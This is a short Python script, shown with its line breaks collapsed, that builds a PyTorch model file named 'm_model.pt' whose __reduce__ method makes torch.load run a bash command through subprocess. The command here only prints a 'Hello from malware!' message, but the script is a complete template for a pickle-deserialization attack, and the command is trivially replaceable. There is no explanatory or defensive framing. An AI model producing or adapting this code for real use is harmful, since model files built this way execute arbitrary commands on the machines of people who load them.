import torch import subprocess class MaliciousModule(torch.nn.Module): def __init__(self): super(MaliciousModule, self).__init__() def forward(self, x): return x def __reduce__(self): return (subprocess.check_call, ('/bin/bash -c "echo Hello from malware!"',)) model = MaliciousModule() torch.save(model, 'm_model.pt')